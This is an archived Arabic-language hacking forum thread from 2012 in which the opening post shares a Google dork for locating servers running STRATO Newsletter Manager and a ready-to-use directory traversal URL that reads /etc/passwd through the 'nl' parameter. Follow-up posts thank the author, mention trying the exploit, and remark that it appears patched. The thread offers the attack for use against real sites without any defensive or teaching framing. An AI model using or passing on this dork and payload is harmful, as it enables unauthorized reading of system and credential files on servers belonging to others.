المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : STRATO Newsletter Manager Directory Traversal


هاوي حنانك
05-03-2012, 07:37 PM
سلام عليكم



Google Dork: inurl:"newsletter.php.cgi"


Exploit:

http://server/cgi-bin/newsletter.php.cgi?PHPSESSID=af92ed633ae0d06d1e24d 22520f709f7&action=nl_show&nl=../../../../../../../../../../../../../../etc/passwd
salah.x
05-06-2012, 03:38 PM
شكرا لك اخي
جاري تجربة الدورة والاستغلال
تقبل مروري :cool:
salah.x
05-06-2012, 03:54 PM
اظن انو تم ترقيعها شكرا
tarekgt
05-11-2012, 04:15 PM
شكرا لك اخي
جاري تجربة
tarekgt
05-11-2012, 04:21 PM
شكرا لك اخي